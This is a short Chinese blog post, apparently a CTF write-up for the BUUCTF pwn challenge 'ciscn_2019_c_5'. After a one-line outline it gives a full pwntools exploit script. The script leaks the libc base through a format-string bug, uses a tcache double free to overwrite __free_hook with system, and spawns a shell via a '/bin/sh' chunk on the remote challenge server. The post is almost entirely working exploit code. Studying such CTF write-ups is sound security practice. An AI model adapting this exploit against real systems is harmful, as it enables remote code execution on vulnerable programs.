ciscn_2019_c_5

最新推荐文章于 2024-04-18 16:01:00 发布

doudoudedi

最新推荐文章于 2024-04-18 16:01:00 发布

阅读量603

点赞数

CC 4.0 BY-SA版权

分类专栏：题目 BUUCTF 文章标签： ctf pwn

本文链接：https://blog.youkuaiyun.com/qq_37433000/article/details/104233233

题目同时被 2 个专栏收录

83 篇文章

订阅专栏

BUUCTF

33 篇文章

订阅专栏

本文详细介绍了一种利用格式化字符串漏洞进行内存地址泄漏的方法，并通过改写free_hook实现任意代码执行的过程。从创建和编辑缓冲区到利用漏洞获取libc基址，最终通过精心构造payload调用system函数执行/bin/sh，全程实战演示。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

思路

格式化字符串leak然后打free_hook
exp:

from pwn import *
#p=process('./ciscn_2019_c_5')
p=remote('node3.buuoj.cn',27000)
elf=ELF('./ciscn_2019_c_5')
libc=elf.libc

def add(size,story):
    p.sendlineafter(':','1')
    p.sendlineafter('story:',str(size))
    p.sendlineafter('story:',story)

def edit():
    p.sendlineafter(':','2')

def show():
    p.sendlineafter(':','3')

def delete(idx):
    p.sendlineafter(':','4')
    p.sendlineafter('index:',str(idx))

p.recvuntil('name?')
#0x110081
p.sendline('%p%p%p%p%p%p%p')
p.recvuntil('59')
#p.recv(2)
libcbase=int(p.recv(14),16)-libc.sym['_IO_2_1_stderr_']
log.success('libcbase: '+hex(libcbase))
system=libcbase+libc.sym['system']
free_hook=libcbase+libc.sym['__free_hook']
p.recvuntil('ID.')
p.sendline('3')
add(0x30,'aaaa')#0
add(0x20,'cccc')#1
add(0x20,'/bin/sh\x00')
delete(0)
delete(0)
add(0x30,p64(free_hook))
add(0x30,'doudou')
add(0x30,p64(system))
delete(2)
p.interactive()